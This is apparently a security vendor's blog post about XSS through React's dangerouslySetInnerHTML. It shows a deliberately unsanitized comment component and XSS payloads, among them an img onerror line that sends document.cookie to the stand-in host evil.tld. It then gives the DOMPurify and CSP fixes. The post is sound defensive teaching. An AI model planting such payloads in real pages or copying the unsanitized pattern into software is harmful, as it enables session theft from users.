← All posts
·5 min read·GuardLayer

Is dangerouslySetInnerHTML safe? When React's escape hatch turns into XSS

ReactXSSNext.jsSecurity

React earns most of its security reputation from one quiet default: everything you interpolate into JSX is escaped. Write <div>{userInput}</div> and React turns <script> into &lt;script&gt; before it ever touches the DOM. That single behavior is why cross-site scripting (XSS) is rare in React apps — you have to go out of your way to disable it.

dangerouslySetInnerHTML is how you go out of your way. The name isn't a joke or a quirk; it's the React team telling you, in the API itself, that you've turned the safety off. So the honest answer to "is dangerouslySetInnerHTML safe?" is: it's exactly as safe as the HTML string you hand it — and not one bit safer.

What it actually does

dangerouslySetInnerHTML is React's wrapper around the DOM's element.innerHTML. You give it an object with a single __html key, and React drops that string into the element verbatim — no parsing of your intent, no escaping, no filtering:

<div dangerouslySetInnerHTML={{ __html: someHtmlString }} />

If someHtmlString is "<b>Hello</b>", you get bold text. If it's "<img src=x onerror=alert(document.cookie)>", you get arbitrary JavaScript running in your user's session. The browser does not distinguish between "markup the developer wanted" and "markup an attacker smuggled in." It just renders what it's given.

When it turns into XSS

The rule is simple: the moment any part of that HTML string is influenced by a user, you have a potential XSS vulnerability. "Influenced by a user" is broader than people expect:

  • A comment, bio, or product review rendered as HTML.
  • Markdown converted to HTML on the client and injected.
  • A CMS or "rich text" field that editors fill in.
  • A ?message= query parameter echoed back into the page.
  • An API response you don't fully control (third-party, or another team's service).

Here's the canonical version — a comment body pulled from an API and injected without sanitization:

export function CommentBody({ comment }: { comment: { html: string } }) {
  // comment.html comes straight from the API — never sanitised.
  return (
    <div
      className="comment"
      dangerouslySetInnerHTML={{ __html: comment.html }}
    />
  );
}
guardlayer scan · components/CommentBody.tsxLive engine output
All clear
98/100 · A
  • Infocomponents/CommentBody.tsx:6

    dangerouslySetInnerHTML usage

    Avoid raw HTML where possible. If you must render it, sanitise first with a vetted library (e.g. DOMPurify) and never pass unsanitised user input.

This renders fine in every demo. Then someone posts a comment whose body is:

<img src=x onerror="fetch('https://evil.tld/?c='+document.cookie)">

Now every visitor who loads that comment ships their session cookie to an attacker. This is stored XSS — the payload lives in your database and fires for everyone, repeatedly. The reflected variant — a URL parameter rendered straight into the page — is just as easy to hit and trivially weaponized inside a phishing link.

A detail people miss: <script> tags inserted via innerHTML do not execute, so naive "strip <script>" filters create false confidence. The real attack surface is event-handler attributes — onerror, onload, onmouseover — and javascript: URLs. Those fire from perfectly ordinary-looking <img>, <svg>, and <a> elements. A blocklist will always lose this game.

The fix: sanitize, don't trust

If you can avoid raw HTML entirely, do. Rendering as plain text (<div>{comment.text}</div>) is the safest option and turns the whole problem off.

When you genuinely need to render rich HTML, sanitize it with a vetted library before it reaches __html. DOMPurify is the standard:

import DOMPurify from "isomorphic-dompurify";

export function CommentBody({ comment }: { comment: { html: string } }) {
  const clean = DOMPurify.sanitize(comment.html);
  return <div className="comment" dangerouslySetInnerHTML={{ __html: clean }} />;
}

(isomorphic-dompurify is the SSR-safe wrapper — plain dompurify needs a DOM, which Next.js doesn't have when this renders on the server.) DOMPurify parses the HTML, drops dangerous elements and attributes — every on* handler, javascript: URLs, <script>, <iframe>, and friends — and returns markup that's safe to inject. Three things make it the right call:

  1. It's an allowlist, not a blocklist. It keeps known-safe tags and attributes and removes everything else — the inverse of the losing strategy above.
  2. Sanitize as late as possible. Clean right before rendering, on the value you're about to inject. Don't rely on a sanitize step that happened three layers upstream where someone can quietly route around it.
  3. Defense in depth: add a Content-Security-Policy. A strict CSP (no unsafe-inline, a tight script-src) means that even if a payload slips through, the injected script has nowhere to run. CSP is a backstop, not a substitute for sanitizing.

For Markdown, sanitize the rendered HTML, not the Markdown source — and prefer a renderer that doesn't pass raw HTML through by default (e.g. react-markdown, which ignores embedded HTML unless you add the rehype-raw plugin).

A 30-second self-check

# Every dangerouslySetInnerHTML in your codebase:
grep -rn "dangerouslySetInnerHTML" src/ app/ components/

# Of those, which inject a value with no sanitize call on the same line?
grep -rn "dangerouslySetInnerHTML" src/ app/ components/ \
  | grep -v -i "sanitize\|dompurify"

For each hit, ask one question: can a user influence this string, directly or indirectly? If the answer is "yes" or "I'm not sure," it needs sanitizing. "It comes from our own API" is not a safe answer — your API is full of user-submitted data.

FAQ

Is dangerouslySetInnerHTML always unsafe? No. If the HTML is fully static and authored by you (an icon, a hardcoded snippet), it's fine. It becomes dangerous the moment any byte of the string can be influenced by a user or an external system.

Doesn't React protect me from XSS automatically? For normal JSX interpolation, yes — React escapes it. dangerouslySetInnerHTML is the one place that protection is explicitly disabled. That's the entire reason for the alarming name.

Can I just strip <script> tags myself? No. innerHTML doesn't even execute injected <script> tags — the real attacks come through onerror, onload, javascript: URLs, and other vectors a homemade filter won't catch. Use a maintained sanitizer like DOMPurify.

Is sanitizing on the server enough? Sanitizing at write time helps, but sanitize at render time too — data can enter your store through paths that skip the server check, and "trusted" sources change hands. Clean the value you're about to inject.

Where does GuardLayer fit? GuardLayer flags every dangerouslySetInnerHTML in your .tsx/.jsx on each push, so an unsanitized injection can't quietly ride into production. It surfaces the file and the fix inline — alongside the other React, Next.js, and Supabase issues it checks.

Catch this before it ships — free

GuardLayer scans every push for this and 19 other Next.js + Supabase issues, with the exact fix inline.

Keep reading